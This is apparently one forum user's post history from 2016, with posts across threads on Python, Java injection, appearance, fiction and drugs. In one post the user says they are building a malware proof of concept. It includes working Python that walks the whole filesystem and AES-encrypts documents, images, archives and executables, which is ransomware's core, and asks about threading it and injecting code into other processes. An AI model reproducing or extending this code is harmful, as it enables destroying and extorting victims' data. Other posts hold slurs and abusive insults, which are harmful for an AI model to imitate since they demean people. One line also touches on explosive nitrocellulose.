User Controls
Posts by Sophie
-
2016-04-19 at 8:57 PM UTC in Multi threading in python. And a question about code injection.
I'm not a Python programmer, but isn't Python ran inside of a sandbox enviornment like Java? If so, I think it's going to run a bit slow either way. You may want to convert everthing to C/C++ if it's not to late. If it's not ran in a sandbox enviornment, disregard.
The scripts are ran with the help of an interpreter but you can compile it binary with pyinstaller so i don't see how that makes python 'run in a sandbox environment'. -
2016-04-19 at 8:52 PM UTC in java.text.SimpleDateFormat Injection Possible?
I just want to take credit for fucking this thread over. I saw spectral sperging out and couldn't help myself from escalating the situation. Sorry op
It's nobodies fault but Spectral's , see how his idiocy ruins threads? Exact same problem on Zoklet, just different subjects. -
2016-04-19 at 5:58 PM UTC in Mathematics
Like with all language humans did not create the things these symbol and operations represent.
This tbh fam. -
2016-04-19 at 5:55 PM UTC in Do you think I'm cute?
When I told my six year old that I didn't think she was cute, she looked devastated.
I don't even know what to say. -
2016-04-19 at 5:41 PM UTC in Multi threading in python. And a question about code injection.
Use a dynamic link library to do it.
https://warroom.securestate.com/injecting-python-code-into-native-processes/
see also: https://www.christophertruncer.com/injecting-shellcode-into-a-remote-process-with-python/
Yeah yeah i am aware.Also, i know how DLL injectionworks and how to inject shellcode but how would i go about injecting the code from a python script or executable into a process?
obviously my script isn't a DLL and niether is it shellcode. I want to inject code from my python script into a process. I can inject code from a DLL into a process with python no problem. But i need my python code to be executed in a different process not code from a DLL. -
2016-04-19 at 5:32 PM UTC in Straight OG threadI want a custom user title that says HNIC.
-
2016-04-19 at 3:35 PM UTC in Multi threading in python. And a question about code injection.So as you guys know i'm building a malware proof of concept and to enumerate the files and encrypt them i'm using a function to ebcrypt the files from the PyCrypto modules and os.walk. Now seeing as this is a very slow process i was wondering if there were a way by which i could speed things up a bit. So multi threading came to mind and i was wondering if someone could explain to me how i can employ this with the following code.
def encrypt_file(key, in_filename, out_filename=None, chunksize=64*1024):
""" Encrypts a file using AES (CBC mode) with the
given key.
key:
The encryption key - a string that must be
either 16, 24 or 32 bytes long. Longer keys
are more secure.
in_filename:
Name of the input file
out_filename:
If None, '<in_filename>.enc' will be used.
chunksize:
Sets the size of the chunk which the function
uses to read and encrypt the file. Larger chunk
sizes can be faster for some files and machines.
chunksize must be divisible by 16.
"""
if not out_filename:
out_filename = in_filename + '.crypt'
iv = ''.join(chr(random.randint(0, 0xFF)) for i in range(16))
encryptor = AES.new(key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += ' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def selectfiles():
for root, dirs, files in os.walk("/"):
for file in files:
if file.endswith(".docx",".pdf",".rar",".jpg",".jpeg",".png",".tiff",".zip",".7z",".exe",".mp3"):
try:
#print(os.path.join(root, file))
in_filename = os.path.join(root, file)
encrypt_file(key, in_filename, out_filename=None, chunksize=64*1024)
except Exception as e:
#print e
pass
Above we have our function to encrypt the stuff and below we have the part that i actually want to speed up. How woud i go about this? Also can i just add file extensions to the "endswith" method like so (".docx",".pdf",".rar",".jpg",".jpeg",".png",".tif f",".zip",".7z",".exe",".mp3")?
Also, i know how DLL injectionworks and how to inject shellcode but how would i go about injecting the code from a python script or executable into a process? -
2016-04-18 at 3:16 AM UTC in Do you think I'm cute?
…crest?
Language barrier, i meant Coat of Arms. -
2016-04-18 at 3:13 AM UTC in Do you think I'm cute?
Yes sploo, I think you're cute in a boyish way.
You have a peasants features though. I do too, don't worry. Sometimes I look in the mirror and thing "damn nigga, your ancestors farmed the shit out of those potatoes". And you've got that look, round chin, wide face, big eyes and a round nose. A look like you'd be gaunt if you could, a lowland plebian only ascended from toil by industrialism and volatility of the times. You see yourself and you think "ashes to ashes, a long history of being little more than a lowland ape, destined am I to return to the earth and humble origins above which I am a mere generation-wide blip. Raised above my position and made to breath among my betters but naught but a fading mutation that erects as much as it destroys". The fields take what is theirs, everything returns to dust in the end. You can't avoid your fate, you can't escape what you are.
Pleb, my grandmother is related to the Von Holtrop's, a noble German family we even have a family coat of arms. My fathers side were harbor workers in Rotterdam though so it kinda' cancels out. Besides my grandfather was a poorfag, son of a sailor in Amsterdam lol.
At least my ancestors weren't peasents though. -
2016-04-18 at 3:10 AM UTC in Do you think I'm cute?Not into shota tbh fam.
-
2016-04-18 at 3:04 AM UTC in java.text.SimpleDateFormat Injection Possible?
-
2016-04-18 at 3:02 AM UTC in java.text.SimpleDateFormat Injection Possible?
I could destroy you, Lanny, this website… everything. Just remember that.
Do it faggot, do it right now. -
2016-04-17 at 10:25 PM UTC in Anna.
i meant, like, earlier in the story; it says "the scissors", like if they were important previously, but it just suddenly brings them up; this odd shift in perspective makes you wonder
in fact, what if he does kill himself, but the doctor did turn into anna, and it is oculus?
It's open ended, you may imagine the ending in any way you want to. -
2016-04-17 at 6:39 PM UTC in Anna.
The story reminds me of the movie 'Shutter Island'.
Now that you mention it. Good movie too. -
2016-04-17 at 5:51 PM UTC in java.text.SimpleDateFormat Injection Possible?
You're another one who, apparently, thought it was just so cute to let good threads get overrun by worthless tripe from witty pundit children. And now… the shoe is on the other foot and your panties are in a real twist (what a mental image!). Well, listen up, son. You WILL listen to my worthless, off-topic tripe, and you WILL like it. This isn't a serious discussion forum, apparently. According to both you and Lannykins.
Don't try to change the subject you incompetent piece of shit. -
2016-04-17 at 5:49 PM UTC in Anna.
lolwut? There's absolutely no mention of scissors in OP anywhere. Where are you coming up with scissors from?
Last sentence lol. -
2016-04-17 at 3:05 PM UTC in I miss being an autistic, evil spaz with a new hero every day.
I made a mistake.
This is an outrage. -
2016-04-17 at 3:03 PM UTC in What are you favorite punk rock bands?Choking Victim.
Bad Religion. -
2016-04-17 at 2:49 PM UTC in I miss being an autistic, evil spaz with a new hero every day.
There are multiple chemicals in mdma.
There are not.
It's one chemical and it's name is: MethyleneDioxyMethAmphetamine. -
2016-04-17 at 1:34 PM UTC in differing formulas for nitrocelluloseThe more you nitrate it the harder it goes boom. Cellulose trinitrate has the most oxidizing potential.
C6H7(NO2)3O5